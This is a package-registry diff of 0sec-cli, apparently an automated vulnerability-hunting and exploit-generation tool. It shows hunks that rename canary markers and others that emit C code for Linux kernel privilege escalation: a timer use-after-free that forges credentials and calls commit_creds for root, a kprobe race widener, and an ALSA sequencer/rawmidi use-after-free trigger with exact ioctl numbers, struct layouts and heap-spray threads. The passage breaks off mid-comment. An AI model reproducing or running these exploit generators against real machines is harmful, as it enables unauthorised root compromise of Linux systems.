0sec-cli 0.17.0 → 0.21.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (171) hide show
  1. package/{0sec.js → 0.js} +92 -79
  2. package/LICENSE +1 -1
  3. package/README.md +77 -37
  4. package/chunks/adapt-loop-IGBRQAXO.js +18 -0
  5. package/chunks/{adgraph-JLGA6RYI.js → adgraph-AUDQTBYA.js} +5 -5
  6. package/chunks/agent/skills/frameworks/entra-id.yaml +2 -2
  7. package/chunks/agent/skills/techniques/assumption-mining.yaml +2 -2
  8. package/chunks/agent/skills/techniques/cve-poc-adaptation.yaml +2 -2
  9. package/chunks/agent/skills/techniques/entra-attack-paths.yaml +1 -1
  10. package/chunks/agent/skills/techniques/kernel-weaponization.yaml +1 -1
  11. package/chunks/agent/skills/techniques/llm-prompt-injection.yaml +2 -2
  12. package/chunks/agent/skills/techniques/npm-ecosystem.yaml +1 -1
  13. package/chunks/agent/skills/techniques/poc-verification.yaml +1 -1
  14. package/chunks/agent/skills/techniques/seedless-depth-review.yaml +20 -38
  15. package/chunks/{artifact-scraper-GJEZMOHF.js → artifact-scraper-LNQJUORS.js} +6 -6
  16. package/chunks/{assumption-mining-BVMMUZHB.js → assumption-mining-4MJTP6H5.js} +24 -26
  17. package/chunks/{chunk-P6WKNFWX.js → chunk-2OQOQ2FZ.js} +8 -8
  18. package/chunks/{chunk-5G3ZXFBW.js → chunk-2WNCI664.js} +3 -3
  19. package/chunks/{chunk-HDWV7PGI.js → chunk-2WSXFFJZ.js} +4 -4
  20. package/chunks/{chunk-DW5UWPFY.js → chunk-4VGLO2YS.js} +6 -5
  21. package/chunks/{chunk-SNKTC4BP.js → chunk-5T6D5BVY.js} +88 -88
  22. package/chunks/{chunk-OEFNRYI2.js → chunk-6GHSR47F.js} +3 -6
  23. package/chunks/chunk-6YNKRUMC.js +4474 -0
  24. package/chunks/{chunk-O462Y7P2.js → chunk-ANDKY54G.js} +22317 -19616
  25. package/chunks/{chunk-53G27VPS.js → chunk-AZ7L3HFD.js} +7 -2
  26. package/chunks/{chunk-2SANI5RH.js → chunk-BACXRTQ4.js} +691 -318
  27. package/chunks/{chunk-SOG2U7B3.js → chunk-CAJJRUTV.js} +4 -4
  28. package/chunks/{chunk-57ZENEX2.js → chunk-CGHCEN7W.js} +3 -3
  29. package/chunks/{chunk-VGRDNSHA.js → chunk-CL5KAUM6.js} +17 -16
  30. package/chunks/{chunk-QOKTUOU2.js → chunk-CXKDWFNO.js} +6 -6
  31. package/chunks/{chunk-RWONANDA.js → chunk-DQTNI3KY.js} +5 -5
  32. package/chunks/{chunk-K26SZ37E.js → chunk-E2UOY5PJ.js} +288 -100
  33. package/chunks/{chunk-CLHCDHP4.js → chunk-ER3SUMYJ.js} +40 -18
  34. package/chunks/{chunk-IORC6MQX.js → chunk-FAH6V4QM.js} +31964 -32279
  35. package/chunks/{chunk-6LKRLK2R.js → chunk-FHC2B7LN.js} +3 -3
  36. package/chunks/{chunk-4Y4KQJXE.js → chunk-FWAYJ2IV.js} +16 -16
  37. package/chunks/{chunk-WVTBZEQO.js → chunk-G34QP2XW.js} +8 -8
  38. package/chunks/{chunk-MYVT64FN.js → chunk-GHWODZMR.js} +2 -2
  39. package/chunks/{chunk-F3WBKITT.js → chunk-GIQKESMN.js} +10 -10
  40. package/chunks/{chunk-2RMLOJVB.js → chunk-GVD6SJGH.js} +2 -2
  41. package/chunks/{chunk-RDZYQQLW.js → chunk-HBKCGJAV.js} +7 -7
  42. package/chunks/{chunk-SF4KZ4O3.js → chunk-HLFS6WV2.js} +2 -2
  43. package/chunks/chunk-HPQZHOIU.js +67 -0
  44. package/chunks/{chunk-3QFDYBZQ.js → chunk-IMGWPNQM.js} +231 -1308
  45. package/chunks/{chunk-3MOLBTLS.js → chunk-K2PWUPUI.js} +2 -2
  46. package/chunks/{chunk-MMLDQR4H.js → chunk-NDJU5ZZ7.js} +14 -14
  47. package/chunks/{chunk-H44E2CRN.js → chunk-NOPBXZUV.js} +3 -3
  48. package/chunks/{chunk-HE7LCA7G.js → chunk-O6SD4A36.js} +3 -3
  49. package/chunks/{chunk-SAFFWQW4.js → chunk-P6YG6TEZ.js} +6 -6
  50. package/chunks/{chunk-KKGE5RQE.js → chunk-PC6RCKQV.js} +198 -11
  51. package/chunks/{chunk-LP3HHYQU.js → chunk-PD2BBBKT.js} +2 -2
  52. package/chunks/{chunk-BKZFDZ23.js → chunk-QCUFBVIZ.js} +3 -3
  53. package/chunks/{chunk-KLTNTE2Z.js → chunk-QZVG3BG4.js} +14 -14
  54. package/chunks/{chunk-D6S3IIPG.js → chunk-RF5QGKLR.js} +9 -9
  55. package/chunks/{chunk-LOHTE223.js → chunk-SBMB4OL3.js} +9 -9
  56. package/chunks/{chunk-IOL7D5YV.js → chunk-SQCBHFWN.js} +3 -3
  57. package/chunks/{chunk-A6CLR72I.js → chunk-TF46UWFU.js} +3 -3
  58. package/chunks/chunk-TH2LW437.js +7829 -0
  59. package/chunks/chunk-TRH2PJSN.js +547 -0
  60. package/chunks/{chunk-RJWOYEOG.js → chunk-UEX7PFSE.js} +5 -5
  61. package/chunks/{chunk-VQG4FT5D.js → chunk-UFHN6RIU.js} +2 -2
  62. package/chunks/{chunk-WU6AFRAZ.js → chunk-V36HVTUL.js} +12 -12
  63. package/chunks/{chunk-IR537GON.js → chunk-VCSFCHAJ.js} +2 -2
  64. package/chunks/{chunk-YLMN3N25.js → chunk-VIT5ALXF.js} +3 -3
  65. package/chunks/{chunk-UJ4IK5PO.js → chunk-VOAXLO4A.js} +10 -10
  66. package/chunks/{chunk-UM3ZNQIM.js → chunk-W4JOXE4N.js} +100 -84
  67. package/chunks/{chunk-DN25OQQA.js → chunk-WF5W75WY.js} +25 -25
  68. package/chunks/{chunk-QKICO43A.js → chunk-WPQLBN4S.js} +5 -5
  69. package/chunks/{chunk-HT6P7RY3.js → chunk-WZISK5VC.js} +37 -35
  70. package/chunks/{chunk-QJQKHO7G.js → chunk-Y5H6E24H.js} +3 -3
  71. package/chunks/{chunk-KTQDLNSR.js → chunk-YA4PUM4H.js} +41 -41
  72. package/chunks/{chunk-47TQJWDH.js → chunk-YHWWF4QY.js} +9 -9
  73. package/chunks/{chunk-2CJ776PV.js → chunk-YPOA3W4O.js} +48 -39
  74. package/chunks/{chunk-7DQEV5QI.js → chunk-Z3IKZX3X.js} +4 -4
  75. package/chunks/codex-models-TYYV4JNN.js +15 -0
  76. package/chunks/{commands-U3AMV5ZU.js → commands-WF5RG4I2.js} +5620 -2513
  77. package/chunks/corpus-v1.json +2 -2
  78. package/chunks/data/appsec-archetypes.json +2 -2
  79. package/chunks/data/chromium-archetypes.json +1 -1
  80. package/chunks/data/freebsd-archetypes.json +1 -1
  81. package/chunks/data/kernel-archetypes.json +2 -2
  82. package/chunks/db-U3WQZVAO.js +16 -0
  83. package/chunks/{disclose-A6AEIEDA.js → disclose-67GZCDBO.js} +5 -5
  84. package/chunks/{dist-JR67XKYO.js → dist-ACC3DZUZ.js} +11 -5
  85. package/chunks/{dist-GL66KMUX.js → dist-EVTN3UTT.js} +6 -6
  86. package/chunks/{dist-FDKALV4R.js → dist-F6X62TQK.js} +290 -327
  87. package/chunks/dist-KEULE5IQ.js +21914 -0
  88. package/chunks/dist-XZB53PS5.js +53 -0
  89. package/chunks/eval-runner-SA6OUGHZ.js +26 -0
  90. package/chunks/example-manifest.json +2 -2
  91. package/chunks/{exploit-agent-XP23ISN7.js → exploit-agent-36Q7XQFP.js} +4 -4
  92. package/chunks/{exploit-autoclimb-E6T7RRSC.js → exploit-autoclimb-J4OTSTZ6.js} +6 -6
  93. package/chunks/{exploit-climb-2FAUP6XU.js → exploit-climb-PYEJDIC4.js} +12 -12
  94. package/chunks/fix-J2KBRJDV.js +12 -0
  95. package/chunks/{github-issues-MJ6OYOOU.js → github-issues-IGTTWM7V.js} +7 -7
  96. package/chunks/harness-GDUMKGSE.js +22 -0
  97. package/chunks/http-conformance-U5F6GKYG.js +11 -0
  98. package/chunks/http-sender-I5XFFY35.js +10 -0
  99. package/chunks/hunt-scan-UDJSCISU.js +36 -0
  100. package/chunks/{identity-6ZAIIWOR.js → identity-JTIVJSV7.js} +5 -5
  101. package/chunks/{kernel-primitive-TENE3R7T.js → kernel-primitive-F2IXUFAX.js} +6 -6
  102. package/chunks/{kernel-vm-runner-4F6QSNFY.js → kernel-vm-runner-276LHIOV.js} +6 -6
  103. package/chunks/memsafety-scan-NHUOGTEX.js +16 -0
  104. package/chunks/{native-loop-NTONUDP7.js → native-loop-3BSYVDUI.js} +17 -18
  105. package/chunks/{npm-detectors-KB5Y5ZFX.js → npm-detectors-VIYJXKFQ.js} +6 -6
  106. package/chunks/npm-dynamic-discovery-5J7FT3XM.js +13 -0
  107. package/chunks/orchestrate-DHBFRTSI.js +59 -0
  108. package/chunks/{pre-recon-cve-66EB6G4M.js → pre-recon-cve-X2K2P5YQ.js} +4 -4
  109. package/chunks/prepare-KYHGFWCJ.js +13 -0
  110. package/chunks/process-PNMC36JI.js +15 -0
  111. package/chunks/{replay-runner-RRR4E2A7.js → replay-runner-LK2XFIVG.js} +7 -7
  112. package/chunks/{run-ESNN4V5W.js → run-CBGE6DRQ.js} +2401 -1810
  113. package/chunks/{runtime-62ZQAH7H.js → runtime-PXO5G6UV.js} +11 -11
  114. package/chunks/runtime-XFWJTBUO.js +12 -0
  115. package/chunks/{scan-stream-FHI2FYZE.js → scan-stream-BMOCPKQX.js} +7 -7
  116. package/chunks/{scope-BI7BF4ZY.js → scope-NJHIDDTN.js} +4 -4
  117. package/chunks/{session-store-BCFQYDCE.js → session-store-46WBZM22.js} +6 -6
  118. package/chunks/source-files-REHOM44I.js +12 -0
  119. package/chunks/{specdrift-WCLH6TTQ.js → specdrift-AFS54WEJ.js} +5 -5
  120. package/chunks/token-KRWP5JYA.js +72 -0
  121. package/chunks/token-util-DWTL33S3.js +8 -0
  122. package/chunks/variant-candidates-UH2WC2HA.js +13 -0
  123. package/chunks/{web-recon-prepass-DPVCBRZA.js → web-recon-prepass-SFXU44SS.js} +9 -9
  124. package/dashboard/assets/desktop-BT7RkC4q.js +32 -0
  125. package/dashboard/assets/desktop-OaBI0E0e.css +1 -0
  126. package/dashboard/assets/{findings-page-CACW9nw2.js → findings-page-B4rwF6fZ.js} +2 -2
  127. package/dashboard/assets/{format-PoISqsES.js → format-LNQSSpn6.js} +1 -1
  128. package/dashboard/assets/live-page-DoNwpPAO.js +1 -0
  129. package/dashboard/assets/{meta-tile-CcskIV_o.js → meta-tile-BMtBC-Qq.js} +1 -1
  130. package/dashboard/assets/operations-CMFVrXEe.css +2 -0
  131. package/dashboard/assets/operations-app-ER0gg7GN.js +2 -0
  132. package/dashboard/assets/{operations-D8nUP5_m.js → operations-e2CGYKB1.js} +2 -2
  133. package/dashboard/assets/{overview-page-DTGS8dPo.js → overview-page-CmeWH17A.js} +1 -1
  134. package/dashboard/assets/{page-header-MFVvEtZW.js → page-header-CIJyycfz.js} +1 -1
  135. package/dashboard/assets/scans-page-CuhzWhHx.js +1 -0
  136. package/dashboard/assets/{table-BYS-nIVA.js → table-BgsSBdke.js} +1 -1
  137. package/dashboard/assets/{tabs-DivxbhQy.js → tabs-vn6v7Bk6.js} +1 -1
  138. package/dashboard/desktop.html +3 -3
  139. package/dashboard/index.html +3 -3
  140. package/package.json +11 -11
  141. package/chunks/adapt-loop-ECQG7454.js +0 -18
  142. package/chunks/appsec-catalog-CBWHGTEL.js +0 -24
  143. package/chunks/chunk-H2FFLZNK.js +0 -3
  144. package/chunks/chunk-QI233I24.js +0 -333
  145. package/chunks/chunk-RRMJC3ZE.js +0 -105
  146. package/chunks/chunk-SZJCPG2I.js +0 -110
  147. package/chunks/chunk-WKNNZVJS.js +0 -2798
  148. package/chunks/cost-ledger-ZCKMBJEN.js +0 -13
  149. package/chunks/db-26NGQFKO.js +0 -16
  150. package/chunks/eval-runner-DDLE5RQ3.js +0 -27
  151. package/chunks/fix-IG7LYXH3.js +0 -12
  152. package/chunks/harness-HWOYFKFY.js +0 -22
  153. package/chunks/http-conformance-DU66MZIU.js +0 -11
  154. package/chunks/http-sender-GWH2IYEA.js +0 -10
  155. package/chunks/hunt-scan-XPELSPQQ.js +0 -38
  156. package/chunks/memsafety-scan-J7SECV5W.js +0 -16
  157. package/chunks/npm-dynamic-discovery-AHROOZDB.js +0 -13
  158. package/chunks/orchestrate-ZUWAUWBC.js +0 -62
  159. package/chunks/pipeline-FCARFZU3.js +0 -14
  160. package/chunks/prepare-MYY743TK.js +0 -13
  161. package/chunks/process-3Q7QJIOZ.js +0 -13
  162. package/chunks/runtime-J7PLXZNM.js +0 -12
  163. package/chunks/source-files-PWRQR6LY.js +0 -12
  164. package/chunks/variant-candidates-6KM6F6MD.js +0 -13
  165. package/dashboard/assets/0sec-icon-66SreztZ.gif +0 -0
  166. package/dashboard/assets/desktop-CXTQonNm.js +0 -32
  167. package/dashboard/assets/desktop-NOekk4QS.css +0 -1
  168. package/dashboard/assets/live-page-DrgQqQK5.js +0 -1
  169. package/dashboard/assets/operations-BKE8T-vY.css +0 -2
  170. package/dashboard/assets/operations-app-CQQhG54n.js +0 -2
  171. package/dashboard/assets/scans-page-ChVtq8Us.js +0 -1
@@ -1,16 +1,16 @@
1
1
  #!/usr/bin/env node
2
- import { createRequire as __0secCreateRequire } from "node:module";
3
- const require = __0secCreateRequire(import.meta.url);
4
- import {
5
- runReproducerInKernelVm
6
- } from "./chunk-SNKTC4BP.js";
2
+ import { createRequire as __0CreateRequire } from "node:module";
3
+ const require = __0CreateRequire(import.meta.url);
7
4
  import {
8
5
  ESCALATION_LADDER,
9
6
  ladderUpTo,
10
7
  ratchet,
11
8
  rungAtLeast,
12
9
  rungRank
13
- } from "./chunk-RJWOYEOG.js";
10
+ } from "./chunk-UEX7PFSE.js";
11
+ import {
12
+ runReproducerInKernelVm
13
+ } from "./chunk-5T6D5BVY.js";
14
14
 
15
15
  // packages/core/dist/kernel/exploit/harness.js
16
16
  import { existsSync } from "node:fs";
@@ -48,10 +48,10 @@ function reclaimAliasToken(canary) {
48
48
  return h.toString(16).padStart(16, "0");
49
49
  }
50
50
  function reclaimSprayLine(canary, token) {
51
- return `0SEC-CANARY:${canary}:RECLAIM-SPRAY:${token}`;
51
+ return `ZERO-CANARY:${canary}:RECLAIM-SPRAY:${token}`;
52
52
  }
53
53
  function reclaimAliasLine(canary, observed) {
54
- return `0SEC-CANARY:${canary}:RECLAIM-ALIAS:${observed}`;
54
+ return `ZERO-CANARY:${canary}:RECLAIM-ALIAS:${observed}`;
55
55
  }
56
56
  function reclaimAliasWitnessed(haystack, canary) {
57
57
  if (!canary)
@@ -60,7 +60,7 @@ function reclaimAliasWitnessed(haystack, canary) {
60
60
  return haystack.includes(reclaimSprayLine(canary, token)) && haystack.includes(reclaimAliasLine(canary, token));
61
61
  }
62
62
  function markerLine(rung, canary) {
63
- return `0SEC-CANARY:${canary}:${RUNG_MARKER_TAG[rung]}`;
63
+ return `ZERO-CANARY:${canary}:${RUNG_MARKER_TAG[rung]}`;
64
64
  }
65
65
  function markerFired(haystack, rung, canary) {
66
66
  if (!canary)
@@ -93,7 +93,7 @@ function droppedBeforeRoot(haystack, canary) {
93
93
  const rootWitness = haystack.search(ROOT_UID_WITNESS);
94
94
  if (rootWitness < 0)
95
95
  return false;
96
- const dropPrefix = `0SEC-CANARY:${canary}:DROP:`;
96
+ const dropPrefix = `ZERO-CANARY:${canary}:DROP:`;
97
97
  let from = 0;
98
98
  for (; ; ) {
99
99
  const idx = haystack.indexOf(dropPrefix, from);
@@ -469,7 +469,7 @@ function emitTimerUafTrigger(params) {
469
469
  " free -> same-cache spray of a forged cred -> the kernel re-arms the timer",
470
470
  " (mod_timer) on the reclaimed object, injecting ONLY .function=commit_creds;",
471
471
  " the timer softirq fires commit_creds(&obj) in a busy-spinning unprivileged",
472
- " child -> root. Reference: 0sec hid-sony ghl_poke_timer UAF (9/9 root). */",
472
+ " child -> root. Reference: 0 hid-sony ghl_poke_timer UAF (9/9 root). */",
473
473
  ...emitTimerUafFreeHook(),
474
474
  "",
475
475
  ...emitFakeCredHelpers(fcParams)
@@ -494,9 +494,9 @@ function emitKprobeWidener(faultingPc, widenOffset) {
494
494
  ` memcpy in ${sym} so the parked writer holds the freed object across the`,
495
495
  " reclaim window far more often. TWO things are CONFIGURABLE at runtime so",
496
496
  " the rig can dial in the coincidence rate WITHOUT re-emitting:",
497
- " 0SEC_KERNEL_QEMU_WIDEN_OFFSET \u2014 the probe instruction offset,",
497
+ " ZERO_KERNEL_QEMU_WIDEN_OFFSET \u2014 the probe instruction offset,",
498
498
  ` else the compile-time default ${defHex};`,
499
- ` 0SEC_RACE_PARK_US \u2014 the mdelay() park width (the manual proof parked`,
499
+ ` ZERO_RACE_PARK_US \u2014 the mdelay() park width (the manual proof parked`,
500
500
  ` the writer ~${DEFAULT_RACE_PARK_US}ms), else default ${DEFAULT_RACE_PARK_US}.`,
501
501
  " If the target lacks kernel headers / module-build / insmod rights this is",
502
502
  " skipped and the race runs narrower \u2014 NO marker is printed for the widener;",
@@ -509,17 +509,17 @@ function emitKprobeWidener(faultingPc, widenOffset) {
509
509
  " /* Resolve the probe offset: env override wins, else the compiled default,",
510
510
  " so the VM runner can correct a stale instruction boundary at run time. */",
511
511
  " unsigned long woff = OSEC_WIDEN_OFFSET_DEFAULT;",
512
- ' const char *wenv = getenv("0SEC_KERNEL_QEMU_WIDEN_OFFSET");',
512
+ ' const char *wenv = getenv("ZERO_KERNEL_QEMU_WIDEN_OFFSET");',
513
513
  " if (wenv && wenv[0]) {",
514
514
  " char *end = NULL;",
515
515
  " unsigned long v = strtoul(wenv, &end, 0);",
516
516
  " if (end && end != wenv) woff = v;",
517
517
  " }",
518
- " /* Resolve the park width (mdelay arg): 0SEC_RACE_PARK_US wins, else the",
518
+ " /* Resolve the park width (mdelay arg): ZERO_RACE_PARK_US wins, else the",
519
519
  " compiled default. This is THE knob that holds the freed object during",
520
520
  " the reclaim \u2014 wider park trades throughput for free-during-park rate. */",
521
521
  " unsigned long park = OSEC_RACE_PARK_US_DEFAULT;",
522
- ' const char *penv = getenv("0SEC_RACE_PARK_US");',
522
+ ' const char *penv = getenv("ZERO_RACE_PARK_US");',
523
523
  " if (penv && penv[0]) {",
524
524
  " char *pend = NULL;",
525
525
  " unsigned long pv = strtoul(penv, &pend, 0);",
@@ -555,7 +555,7 @@ function emitAlsaSeqRawmidiTrigger(params) {
555
555
  const dst = params.writeProfile?.dstOffset;
556
556
  const len = params.writeProfile?.lenOffset;
557
557
  const out = [];
558
- out.push("/* \u2500\u2500 Bug-specific trigger geometry: ALSA snd_seq / rawmidi UAF \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500", " Single ALSA-seq subscription \u2192 subscriber count oscillates 0<->1, so", " every OUTPUT-port unsubscribe FREES the snd_rawmidi_runtime (kmalloc-" + (slabNum(params.slabCache) ?? 192) + ") via", " midisynth_unuse -> snd_rawmidi_kernel_release -> snd_rawmidi_runtime_free.", " Racing an event flood (snd_seq_write -> event_process_midi ->", " snd_rawmidi_kernel_write1) against the free drives the dangling memcpy" + (dst !== void 0 ? ` at runtime->buffer (obj +0x${dst.toString(16)})` : "") + (len !== void 0 ? ` for len obj +0x${len.toString(16)}` : "") + ". */", "", "#include <poll.h>", "#include <pthread.h>", "#include <signal.h>", "#include <sys/ioctl.h>", "", "/* Parse a 0SEC_RACE_* env knob as an int, falling back to a default. Lets", " the rig sweep the continuous-thread race timings without re-emitting. */", "static int osec_race_envint(const char *name, int dflt) {", " const char *v = getenv(name);", " if (!v || !v[0]) return dflt;", " char *end = NULL;", " long n = strtol(v, &end, 0);", " if (!end || end == v) return dflt;", " return (int)n;", "}", "", "/* Forward declarations \u2014 osec_spray_thread() (below) calls osec_reclaim_spray(),", " whose definition is emitted LATER in the translation unit (the reclaim helper", " block). Without this prototype the emitted C fails to compile (use-before-def /", " 'static declaration follows non-static declaration'). osec_pin_cpu() is defined", " in the marker preamble (above) so it needs none. */", "static void osec_reclaim_spray(void);", "", "/* ALSA sequencer uapi \u2014 REAL layouts from include/uapi/sound/asequencer.h.", " The struct SIZES are load-bearing: _IOWR/_IOW/_IOR encode sizeof(struct)", " into the ioctl number, so a wrong size yields a wrong ioctl => -ENOTTY and", " the kernel never runs the handler (the live boot's 'reaches DROP but ZERO", " KASAN' symptom). The struct sizes below are the REAL uapi sizes, audited", " by compilation against include/uapi/sound/asequencer.h:", " snd_seq_addr == 2 bytes", " snd_seq_port_info == 168 bytes", " snd_seq_port_subscribe == 80 bytes (was wrongly 32 \u2014 see below)", " snd_seq_client_info == 188 bytes", " snd_seq_event == 32 bytes (was wrongly 28 \u2014 16-byte data union)", " so that the _IOC-encoded ioctl numbers come out byte-for-byte equal to the", " kernel's:", " SNDRV_SEQ_IOCTL_CLIENT_ID == 0x80045301", " SNDRV_SEQ_IOCTL_CREATE_PORT == 0xc0a85320", " SNDRV_SEQ_IOCTL_DELETE_PORT == 0x40a85321", " SNDRV_SEQ_IOCTL_SUBSCRIBE_PORT == 0x40505330", " SNDRV_SEQ_IOCTL_UNSUBSCRIBE_PORT == 0x40505331", " SNDRV_SEQ_IOCTL_QUERY_NEXT_CLIENT == 0xc0bc5351", " SNDRV_SEQ_IOCTL_QUERY_NEXT_PORT == 0xc0a85352", " Two live in-guest probes drove these fixes: the old 92-byte port_info", " yielded the wrong CREATE_PORT number => -ENOTTY before the UAF could run;", " and the old 32-byte port_subscribe yielded SUBSCRIBE_PORT == 0x40205330", " (kernel expects 0x40505330) => -ENOTTY on SUBSCRIBE, so the runtime was", " never freed and NO UAF fired. Both real uapi sizes (168 / 80) are below. */", "struct snd_seq_addr { unsigned char client; unsigned char port; };", "struct snd_seq_port_info { /* 168 bytes \u2014 real uapi layout */", " struct snd_seq_addr addr; /* 0: client/port */", " char name[64]; /* 2 */", " unsigned int capability; /* 68: SNDRV_SEQ_PORT_CAP_* bitmask */", " unsigned int type; /* 72: SNDRV_SEQ_PORT_TYPE_* bitmask */", " int midi_channels; /* 76 */", " int midi_voices; /* 80 */", " int synth_voices; /* 84 */", " int read_use; /* 88 */", " int write_use; /* 92 */", " void *kernel; /* 96: 8-byte aligned kernel ptr */", " unsigned int flags; /* 104 */", " unsigned char time_queue; /* 108 */", " unsigned char direction; /* 109 */", " unsigned char ump_group; /* 110 */", " char reserved[57]; /* 111: pad to exactly 168 */", "};", "struct snd_seq_port_subscribe { /* 80 bytes \u2014 real uapi layout */", " struct snd_seq_addr sender; /* 0: source port */", " struct snd_seq_addr dest; /* 2: destination port */", " unsigned int voices; /* 4 */", " unsigned int flags; /* 8 */", " unsigned char queue; /* 12 */", " unsigned char pad[3]; /* 13 */", " unsigned char reserved[64]; /* 16: ends at exactly 80 */", "};", "/* snd_seq_client_info \u2014 only `client` is read; full 188B size keeps the", " QUERY_NEXT_CLIENT ioctl number (0xc0bc5351) correct. */", "struct snd_seq_client_info { /* 188 bytes */", " int client; /* 0 */", " int type; /* 4 */", " char name[64]; /* 8 */", " unsigned int filter; /* 72 */", " unsigned char multicast_filter[8]; /* 76 */", " unsigned char event_filter[32]; /* 84 */", " int num_ports; /* 116 */", " int event_lost; /* 120 */", " int card; /* 124 */", " int pid; /* 128 */", " unsigned int midi_version; /* 132 */", " unsigned int group_filter; /* 136 */", " char reserved[48]; /* 140: ends at 188 */", "};", "/* Compile-time static asserts: a wrong size silently re-breaks the ABI. */", "_Static_assert(sizeof(struct snd_seq_port_info) == 168,", ' "snd_seq_port_info must be 168 bytes for the correct ioctl nr");', "_Static_assert(sizeof(struct snd_seq_port_subscribe) == 80,", ' "snd_seq_port_subscribe must be 80 bytes for the correct ioctl nr");', "_Static_assert(sizeof(struct snd_seq_addr) == 2,", ' "snd_seq_addr must be 2 bytes");', "_Static_assert(sizeof(struct snd_seq_client_info) == 188,", ' "snd_seq_client_info must be 188 bytes for the correct ioctl nr");', "", "/* ioctl numbers \u2014 computed from the REAL struct sizes via the standard", " macros, so they come out byte-for-byte equal to the kernel's. */", "#define SNDRV_SEQ_IOCTL_CLIENT_ID _IOR ('S', 0x01, int)", "#define SNDRV_SEQ_IOCTL_CREATE_PORT _IOWR('S', 0x20, struct snd_seq_port_info)", "#define SNDRV_SEQ_IOCTL_SUBSCRIBE_PORT _IOW ('S', 0x30, struct snd_seq_port_subscribe)", "#define SNDRV_SEQ_IOCTL_UNSUBSCRIBE_PORT _IOW ('S', 0x31, struct snd_seq_port_subscribe)", "#define SNDRV_SEQ_IOCTL_QUERY_NEXT_CLIENT _IOWR('S', 0x51, struct snd_seq_client_info)", "#define SNDRV_SEQ_IOCTL_QUERY_NEXT_PORT _IOWR('S', 0x52, struct snd_seq_port_info)", "", "/* Port type/capability bits (asequencer.h). */", "#define SNDRV_SEQ_PORT_CAP_READ (1<<0) /* 0x01 */", "#define SNDRV_SEQ_PORT_CAP_WRITE (1<<1) /* 0x02 */", "#define SNDRV_SEQ_PORT_CAP_SUBS_READ (1<<5) /* 0x20: can be a subscribe src */", "#define SNDRV_SEQ_PORT_CAP_SUBS_WRITE (1<<6) /* 0x40: can be a subscribe dest */", "#define SNDRV_SEQ_PORT_TYPE_MIDI_GENERIC (1<<1) /* 0x02 */", "#define SNDRV_SEQ_PORT_TYPE_APPLICATION (1<<20)/* 0x100000: an app's own port */", "#define SNDRV_SEQ_PORT_TYPE_HARDWARE (1<<16) /* 0x10000: real card port */", "", "/* snd_seq_event \u2014 the REAL 32-byte wire layout from asequencer.h. The flood", " thread writes these to /dev/snd/seq so the kernel routes them through", " snd_seq_write -> snd_seq_deliver_event -> event_process_midi -> dump_midi ->", " snd_rawmidi_kernel_write1 (the dangling write site). The variable-length", " protocol: when ev.flags has LENGTH_VARIABLE, snd_seq_write reads the 32-byte", " event header off the fd, then reads ev.data.ext.len payload bytes INLINE", " immediately AFTER the event (userspace write ignores ext.ptr) \u2014 that payload", " is what dump_midi feeds VERBATIM into runtime->buffer. Getting sizeof()==32", " is load-bearing twice over: snd_seq_write reads events in", " sizeof(struct snd_seq_event) strides, AND a wrong size shifts where the inline", " payload begins, so a 28-byte struct desyncs the stream and the SYSEX event is", " never parsed (the live-boot 'reaches write1 0 times' symptom). The data union", " is 16 bytes because its largest member, snd_seq_ev_ext { u32 len; void *ptr; },", " is 16 bytes on x86-64 under NATURAL alignment: len(4) + 4 pad + 8-aligned", " ptr(8). It must NOT be packed \u2014 packing it to 12 would shrink the event to 28", " and re-break the ABI. */", "struct snd_seq_ev_ext { unsigned int len; void *ptr; }; /* 16 bytes: len(4)+pad(4)+ptr(8), NATURAL alignment (not packed) */", "union snd_seq_event_data { /* 16-byte data union (largest = ext) */", " unsigned char raw8[16];", " unsigned int raw32[4];", " struct snd_seq_ev_ext ext; /* variable-length: len + ptr (16 bytes) */", "};", "struct snd_seq_event { /* 32 bytes \u2014 real uapi layout */", " unsigned char type; /* 0: SNDRV_SEQ_EVENT_* */", " unsigned char flags; /* 1: LENGTH_* | etc. */", " unsigned char tag; /* 2 */", " unsigned char queue; /* 3: SNDRV_SEQ_QUEUE_DIRECT etc. */", " unsigned int time; /* 4: union snd_seq_timestamp tick/real (8) */", " unsigned int time_hi; /* 8: second word of the time union */", " struct snd_seq_addr source; /* 12: 2 bytes */", " struct snd_seq_addr dest; /* 14: 2 bytes */", " union snd_seq_event_data data; /* 16: 16-byte data union -> ends at 32 */", "};", "_Static_assert(sizeof(struct snd_seq_event) == 32,", ' "snd_seq_event must be 32 bytes for snd_seq_write event striding");', "", "/* Event types + flags + addressing (asequencer.h). SYSEX is the verbatim-copy", " path; SUBSCRIBERS+DIRECT route the event to our port's subscribers (the", " subscribed hardware port) so it reaches snd_rawmidi_kernel_write1. */", "#define SNDRV_SEQ_EVENT_SYSEX 130 /* variable-length system-exclusive */", "#define SNDRV_SEQ_EVENT_LENGTH_VARIABLE (1<<2) /* data is ext.len bytes, inline */", "#define SNDRV_SEQ_PRIORITY_NORMAL (0<<4) /* manual proof ORs this into flags */", "#define SNDRV_SEQ_ADDRESS_SUBSCRIBERS 254 /* dest.client: deliver to subscribers */", "#define SNDRV_SEQ_QUEUE_DIRECT 253 /* ev.queue: bypass queue, deliver now */", "", "/* Shared race state across the CONTINUOUS flood / toggle / spray threads.", " The manual proof (measured ~0.45% free-during-park x ~1% reclaim-win =>", " ~1.6% end-to-end, ~1-in-6..8 boots) wins the coincidence ONLY because all", " three roles run as tight while(running) loops simultaneously \u2014 NOT a bursty", " 512-iteration flood + one toggle per round. So: continuous SYSEX-flood", " thread(s) keep snd_rawmidi_kernel_write1 hot (and parked by the kprobe", " mdelay); a continuous subscribe(1)/unsubscribe(0) toggle thread re-arms the", " free every iteration; and continuous msgsnd-2ndseg spray thread(s) pinned to", " the SAME CPU as the free pop the just-freed kmalloc-192 slot off that CPU's", " freelist before the parked writer derefs it. There is NO per-round arming", " handshake anymore \u2014 the loops run free and the coincidence lands", " probabilistically, exactly as the manual proof does. */", "static int g_seq_fd = -1;", "static int g_toggle_fd = -1; /* BUG#2 FIX: dedicated fd for subscribe/unsubscribe (manual proof uses a 2nd open) */", "static int g_rawmidi_fd = -1;", "static struct snd_seq_addr g_self;", "static struct snd_seq_addr g_hw; /* discovered hardware MIDI synth port */", "static int g_have_hw = 0; /* set iff osec_seq_find_hw_port() won */", "static volatile int g_race_run = 0; /* 1 while the threads loop; 0 to stop */", "/* g_n_write_ok / g_n_spray are declared in the marker preamble (always present)", " so the spray helper can increment them on every path. n_write_ok counts SYSEX", " events that actually reached the kernel write path \u2014 the load-bearing", " diagnostic: 0 